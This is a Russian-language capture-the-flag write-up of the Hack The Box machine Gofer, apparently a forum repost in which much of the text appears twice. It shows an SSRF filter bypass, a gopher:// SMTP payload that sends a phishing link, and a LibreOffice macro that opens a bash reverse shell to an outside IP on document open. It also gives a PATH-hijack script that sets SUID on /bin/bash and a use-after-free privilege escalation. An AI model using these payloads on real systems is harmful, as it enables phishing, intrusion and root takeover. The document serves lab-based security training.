stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу, как искать и эксплуатировать уязвимости use after free и path hijacking для повышения прав в системе. А для начала заюзаем SSRF для отправки фишинговой ссылки с вредоносным макросом, чтобы проникнуть на хост.
А поможет нам в этом тренировочная машина Gofer с площадки Hack The Box. Уровень ее — сложный.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел несколько открытых портов:
Первым делом проверим SMB, в отличие от веба этот протокол не потребует много времени для анализа.
Результат сканирования службы Samba
В выводе больше всего интересен список общих ресурсов SMB. К некоторым каталогам мы можем получить доступ без использования учетных данных.
Содержимое общего ресурса
Скачиваем сообщение и читаем. Там говорится о пользователе, который переходит по всем фишинговым ссылкам, поэтому почта теперь работает только для внутренних пользователей. При этом теперь будут открываться только документы ODT.
Для просмотра ссылки Войдиили Зарегистрируйся
Учтем это на будущее и перейдем к сайту.
Главная страница сайта
На самом сайте ничего интересного, кроме списка сотрудников. Поэтому приступаем к сканированию.
или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся. Я предпочитаю Для просмотра ссылки Войди или Зарегистрируйся.
При запуске указываем следующие параметры:
Результат сканирования каталогов с помощью feroxbuster
Новых файлов и каталогов не обнаружили, поэтому переходим к следующему шагу — сканированию поддоменов. Делать это будем с помощью Для просмотра ссылки Войдиили Зарегистрируйся. Параметры те же, что у feroxbuster, но добавятся еще два:
Результат сканирования поддоменов
Добавляем найденный поддомен в файл /etc/hosts и проверяем новый сайт. Там нас встречает HTTP-аутентификация.
Запрос учетных данных
GET-запрос в Burp Repeater
В Burp Repeater легко это сделать, достаточно выбрать нужный пункт в контекстном меню.
POST-запрос в Burp Repeater
И при POST-запросе получаем уже другой ответ.
Burp Intruder — вкладка Positions
Чтобы в таблице результатов отображался ответ сервера, перейдем к вкладке Settings, выберем опцию Grep → Extract и укажем интересующую нас позицию.
Burp Intruder — вкладка Settings
Burp Intruder — результат атаки
Таким образом обнаруживаем параметр url.
И укажем на сайте свой адрес. В логах веб‑сервера увидим подключение, а на сайте отобразится листинг каталога веб‑сервера.
Для просмотра ссылки Войдиили Зарегистрируйся
Результат выполнения запроса
Сразу проверяем наличие уязвимости SSRF, которая позволит обращаться к внутренним ресурсам и сервисам системы. Однако запрос к localhost блокируется, поскольку слово находится в черном списке. Но мы можем найти варианты, которые не будут фильтроваться.
Результат выполнения запроса
Пробуем прочитать файл /etc/passwd через протокол file. В этом случае нам сообщают, что блокируется последовательность file://.
Результат выполнения запроса
Тогда попробуем обратиться, указав не file://, а file:/. И это позволяет нам получить содержимое файла.
Содержимое файла /etc/passwd
Почитав на сервере несколько файлов, ничего ценного не находим. Тогда я решил проверить очень интересный вектор: через SSRF и Gopher. Давай попробуем отправить сообщение тому самому пользователю, который открывает все ссылки. По ссылке будет расположен документ ODT, выполняющий макрос с реверс‑шеллом.
Для этого нам нужно узнать почтовый адрес пользователя и как‑то обойти фильтр, чтобы обращаться к локальному хосту через SSRF. Из письма мы знаем имя пользователя — Jocelyn. Находим его фамилию на сайте и составляем правдоподобный почтовый адрес по тому же шаблону, что и у отправителя. Получается jhudson@gofer.htb.
Список пользователей
Теперь нам нужен адрес, который поможет обойти фильтрацию. Здесь нас выручит Burp Intruder и список для обхода SSRF. Также на вкладе Settings установим опцию Extract.
Burp Intruder — вкладка Positions
Burp Intruder — вкладка Settings
Результат перебора
По результатам сканирования видим, что можно закодировать адрес 127.0.0.1 в Hex.
Исходное сообщение
Сообщение, закодированное URL
На локальном хосте запустим веб‑сервер на Python и выполним запрос, где в параметре url будет передаваться сформированная нагрузка.
Результат выполнения запроса
Когда сервер запросит этот URL, пользователю Jocelyn отправится сообщение со ссылкой. Если он перейдет по ней, мы увидим запрос к файлу на нашем веб‑сервере.
Логи веб‑сервера
Вектор оказался верным, теперь сформируем документ с макросом.
Приложение LibreOffice
Окно управления макросами
Создаем новый макрос, который выполнит реверс‑шелл.
Окно изменения макроса
А теперь настроим автозапуск макроса при открытии документа. Для этого в окне управления макросами кликаем по пункту Assign, где переходим на вкладку Event и выбираем событие Open Document. Которому через Macro Selector назначаем созданный макрос.
Настройка автозапуска макроса
Настройка события Open Document
Сохраняем в формате ODT и загружаем на веб‑сервер документ.
Запускаем листенер:
Затем повторяем фишинговую атаку и получаем коннект.
Флаг пользователя
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Мы получили много информации, отберем самое важное.
Привилегия Linux cap_net_admin, выданная tcpdump, позволяет нам использовать эту команду для сниффинга трафика.
Для просмотра ссылки Войдиили Зарегистрируйся
Linux capabilities
Из файла .htpasswd получаем хеш пароля для пользователя tbuckley.
Содержимое файла /etc/apache2/.htpasswd
Среди исполняемых файлов с выставленным битом SUID есть неизвестный: /usr/local/bin/notes.
Файлы с установленным SUID-битом
Также я всегда проверяю запускаемые процессы с помощью Для просмотра ссылки Войдиили Зарегистрируйся. В логах видим запрос к уже знакомому сайту, где передаются учетные данные для HTTP-аутентификации.
Логи pspy64
Видимо, задумка автора машины была в том, чтобы решающий записал трафик и нашел этот запрос в дампе. Но обнаружился и другой путь для получения логина и пароля. С полученными учетными данными авторизуемся в системе.
Флаг пользователя
Результат запуска исполняемого файла
Скопируем этот файл на локальный хост и откроем в любом удобном декомпиляторе. Я использую IDA Pro с Hex-Rays.
Я немного преобразовал код, чтобы его было удобнее анализировать. Теперь мы можем разобрать поведение программы при выборе каждого из предложенных вариантов.
Псевдокод функции main (продолжение)
Так как путь к исполняемому файлу tar не указан, система последовательно будет искать его по путям, указанным в PATH. А это открывает дорогу к атаке path hijacking. Для этого нам нужно создать свой скрипт с именем tar и добавить в PATH каталог, в котором он будет расположен. Тогда при вызове функции system запустится наш скрипт tar.
Создание скрипта tar
Теперь решим вопрос, как пройти проверку на администратора. Оба варианта освобождения памяти выполнены без ее очистки. И в случае с заметкой (где мы можем записать 39 байт), и в случае с именем пользователя (где мы можем записать 24 байта) выделяется 40 байт. Но дело в том, что если выделить память функцией malloc, а затем освободить с помощью free и снова выделить с помощью malloc блок памяти того же объема, то будет выделена память по одному и тому же адресу! Вот почему важно перед освобождением очищать память с помощью memset, а указателю присваивать значение 0. При удалении пользователя этого не происходит.
Получается, что мы можем создать пользователя, а затем удалить его, чтобы вызвать malloc, затем free, а затем инициализировать переменную input, где хранится имя пользователя.
Создание и удаление пользователя
Теперь при создании заметки будет выделен блок памяти, который только что был освобожден, но на него будет указывать не только переменная ptr, отвечающая за заметку, но и переменная input, отвечающая за пользователя!
Заполняем заметку рандомными 24 символами, после которых записываем строку admin. Тогда переменная input+24 будет содержать роль admin. Теперь при выборе последнего пункта мы пройдем проверку на администратора. Этого можно было бы избежать, если бы переменной input присваивалось значение 0 в ветке 3. Эта уязвимость носит название use after free, так как мы используем указатель на блок памяти после освобождения и перезаписи.
Эксплуатация UAF
В скрипте tar мы назначили S-бит файлу командной оболочки /bin/bash и можем повысить привилегии до рута.
Проверка файла /bin/bash
Флаг рута
Машина захвачена!
А поможет нам в этом тренировочная машина Gofer с площадки Hack The Box. Уровень ее — сложный.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.225 gofer.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Сканер нашел несколько открытых портов:
- 22 — служба OpenSSH 8.4p1;
- 80 — веб‑сервер Apache 2.4.56;
- 139 и 445 — служба Samba 4.6.2.
Первым делом проверим SMB, в отличие от веба этот протокол не потребует много времени для анализа.
enum4linux -a gofer.htb
В выводе больше всего интересен список общих ресурсов SMB. К некоторым каталогам мы можем получить доступ без использования учетных данных.
Точка входа
Подключаемся к SMB-ресурсу, где мы находим каталог backup, а в нем сохраненное сообщение.smbclient //gofer.htb/shares
Скачиваем сообщение и читаем. Там говорится о пользователе, который переходит по всем фишинговым ссылкам, поэтому почта теперь работает только для внутренних пользователей. При этом теперь будут открываться только документы ODT.
Для просмотра ссылки Войди
Учтем это на будущее и перейдем к сайту.
На самом сайте ничего интересного, кроме списка сотрудников. Поэтому приступаем к сканированию.
Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки ВойдиПри запуске указываем следующие параметры:
- -u — URL;
- -w — словарь (я использую словари из набора Для просмотра ссылки Войди
или Зарегистрируйся); - -t — количество потоков;
- -d — глубина сканирования.
feroxbuster -u http://gofer.htb/ -t 256 -d 1 -w directory_2.3_medium_lowercase.txt
Новых файлов и каталогов не обнаружили, поэтому переходим к следующему шагу — сканированию поддоменов. Делать это будем с помощью Для просмотра ссылки Войди
- -H — HTTP-заголовок;
- -fc — фильтр по коду ответа.
ffuf -u http://gofer.htb -H 'Host:FUZZ.gofer.htb' -w subdomains-bitquark-top100000.txt -fc 400,301
Добавляем найденный поддомен в файл /etc/hosts и проверяем новый сайт. Там нас встречает HTTP-аутентификация.
10.10.11.225 gofer.htb proxy.gofer.htb
HTTP auth bypass
Есть несколько способов обхода неправильно настроенной HTTP-аутентификации. Самый простой и быстрый — смена метода запроса с GET на POST (либо PUT).В Burp Repeater легко это сделать, достаточно выбрать нужный пункт в контекстном меню.
И при POST-запросе получаем уже другой ответ.
Точка опоры
В полученном ответе нам сообщают, что в URL не хватает параметра. Можно перебрать параметры по словарю и найти такой ответ сервера, который, возможно, будет отличаться от основной массы. Для перебора я использую Burp Intruder.Чтобы в таблице результатов отображался ответ сервера, перейдем к вкладке Settings, выберем опцию Grep → Extract и укажем интересующую нас позицию.
Таким образом обнаруживаем параметр url.
SSRF
Так как мы должны передать URL, можно предположить, что сервис выполнит запрос на него. Для теста запустим веб‑сервер:python3 -m http.server 80
И укажем на сайте свой адрес. В логах веб‑сервера увидим подключение, а на сайте отобразится листинг каталога веб‑сервера.
Для просмотра ссылки Войди
Сразу проверяем наличие уязвимости SSRF, которая позволит обращаться к внутренним ресурсам и сервисам системы. Однако запрос к localhost блокируется, поскольку слово находится в черном списке. Но мы можем найти варианты, которые не будут фильтроваться.
Пробуем прочитать файл /etc/passwd через протокол file. В этом случае нам сообщают, что блокируется последовательность file://.
Тогда попробуем обратиться, указав не file://, а file:/. И это позволяет нам получить содержимое файла.
Почитав на сервере несколько файлов, ничего ценного не находим. Тогда я решил проверить очень интересный вектор: через SSRF и Gopher. Давай попробуем отправить сообщение тому самому пользователю, который открывает все ссылки. По ссылке будет расположен документ ODT, выполняющий макрос с реверс‑шеллом.
Для этого нам нужно узнать почтовый адрес пользователя и как‑то обойти фильтр, чтобы обращаться к локальному хосту через SSRF. Из письма мы знаем имя пользователя — Jocelyn. Находим его фамилию на сайте и составляем правдоподобный почтовый адрес по тому же шаблону, что и у отправителя. Получается jhudson@gofer.htb.
Теперь нам нужен адрес, который поможет обойти фильтрацию. Здесь нас выручит Burp Intruder и список для обхода SSRF. Также на вкладе Settings установим опцию Extract.
По результатам сканирования видим, что можно закодировать адрес 127.0.0.1 в Hex.
Gopher mail
Через найденную SSRF попробуем отправить сообщение со ссылкой целевому пользователю. Берем следующее сообщение и кодируем все символы \r\n как %0d%0a.
Код:
gopher://0x7f000001:25/xHELO
MAIL FROM:<jdavis@gofer.htb>
RCPT TO:<jhudson@gofer.htb>
DATA
From: <jdavis@gofer.htb>
To: <jhudson@gofer.htb>
Subject: Link
http://10.10.16.23/file.odt
.
QUIT
На локальном хосте запустим веб‑сервер на Python и выполним запрос, где в параметре url будет передаваться сформированная нагрузка.
Когда сервер запросит этот URL, пользователю Jocelyn отправится сообщение со ссылкой. Если он перейдет по ней, мы увидим запрос к файлу на нашем веб‑сервере.
Вектор оказался верным, теперь сформируем документ с макросом.
Office phishing
Открываем LibreOffice и в меню выбираем Tools → Macros → Organize Macros → Basic, где находим текущий документ.Создаем новый макрос, который выполнит реверс‑шелл.
Код:
Sub Main
Shell("bash -c 'bash -i >& /dev/tcp/10.10.16.23/4321 0>&1'")
End Sub
А теперь настроим автозапуск макроса при открытии документа. Для этого в окне управления макросами кликаем по пункту Assign, где переходим на вкладку Event и выбираем событие Open Document. Которому через Macro Selector назначаем созданный макрос.
Сохраняем в формате ODT и загружаем на веб‑сервер документ.
Запускаем листенер:
pwncat-cs -lp 4321
Затем повторяем фишинговую атаку и получаем коннект.
Продвижение
Теперь нам необходимо собрать информацию и прикинуть варианты продвижения. Я, как всегда, буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиМы получили много информации, отберем самое важное.
Привилегия Linux cap_net_admin, выданная tcpdump, позволяет нам использовать эту команду для сниффинга трафика.
Для просмотра ссылки Войди
Из файла .htpasswd получаем хеш пароля для пользователя tbuckley.
Среди исполняемых файлов с выставленным битом SUID есть неизвестный: /usr/local/bin/notes.
Также я всегда проверяю запускаемые процессы с помощью Для просмотра ссылки Войди
Видимо, задумка автора машины была в том, чтобы решающий записал трафик и нашел этот запрос в дампе. Но обнаружился и другой путь для получения логина и пароля. С полученными учетными данными авторизуемся в системе.
Локальное повышение привилегий
Теперь переходим к неизвестному исполняемому файлу с S-битом. При запуске он предоставляет нам выбор нескольких действий.Скопируем этот файл на локальный хост и откроем в любом удобном декомпиляторе. Я использую IDA Pro с Hex-Rays.
scp tbuckley@gofer.htb:/usr/local/bin/notes ./
Я немного преобразовал код, чтобы его было удобнее анализировать. Теперь мы можем разобрать поведение программы при выборе каждого из предложенных вариантов.
- В этом варианте с помощью malloc выделяется 40 байт, где первые 24 будут заполнены введенным именем пользователя, а с 24-го байта будет храниться роль пользователя: user или admin (строки 31–50).
- Эта ветка кода отвечает за вывод текущих имени пользователя и его роли (строки 51–56).
- С помощью free освобождается память, выделенная для имени пользователя.
Псевдокод функции main - В этом варианте снова выделяется 40 байт, но теперь для сохранения заметки (строки 61–68).
- Выводит заметку на экран (строки 69–71).
- Пока ни для чего не предназначен.
- Освобождает память, выделенную под заметку.
- Самый интересный блок кода: если пользователь существует и является администратором, то от имени пользователя root выполнится команда tar.
Так как путь к исполняемому файлу tar не указан, система последовательно будет искать его по путям, указанным в PATH. А это открывает дорогу к атаке path hijacking. Для этого нам нужно создать свой скрипт с именем tar и добавить в PATH каталог, в котором он будет расположен. Тогда при вызове функции system запустится наш скрипт tar.
Код:
echo '#!/bin/bash' > tar
echo 'chmod u+s /bin/bash' >> tar
chmod 777 tar
export PATH=~:$PATH
Теперь решим вопрос, как пройти проверку на администратора. Оба варианта освобождения памяти выполнены без ее очистки. И в случае с заметкой (где мы можем записать 39 байт), и в случае с именем пользователя (где мы можем записать 24 байта) выделяется 40 байт. Но дело в том, что если выделить память функцией malloc, а затем освободить с помощью free и снова выделить с помощью malloc блок памяти того же объема, то будет выделена память по одному и тому же адресу! Вот почему важно перед освобождением очищать память с помощью memset, а указателю присваивать значение 0. При удалении пользователя этого не происходит.
Получается, что мы можем создать пользователя, а затем удалить его, чтобы вызвать malloc, затем free, а затем инициализировать переменную input, где хранится имя пользователя.
Теперь при создании заметки будет выделен блок памяти, который только что был освобожден, но на него будет указывать не только переменная ptr, отвечающая за заметку, но и переменная input, отвечающая за пользователя!
Заполняем заметку рандомными 24 символами, после которых записываем строку admin. Тогда переменная input+24 будет содержать роль admin. Теперь при выборе последнего пункта мы пройдем проверку на администратора. Этого можно было бы избежать, если бы переменной input присваивалось значение 0 в ветке 3. Эта уязвимость носит название use after free, так как мы используем указатель на блок памяти после освобождения и перезаписи.
В скрипте tar мы назначили S-бит файлу командной оболочки /bin/bash и можем повысить привилегии до рута.
Машина захвачена!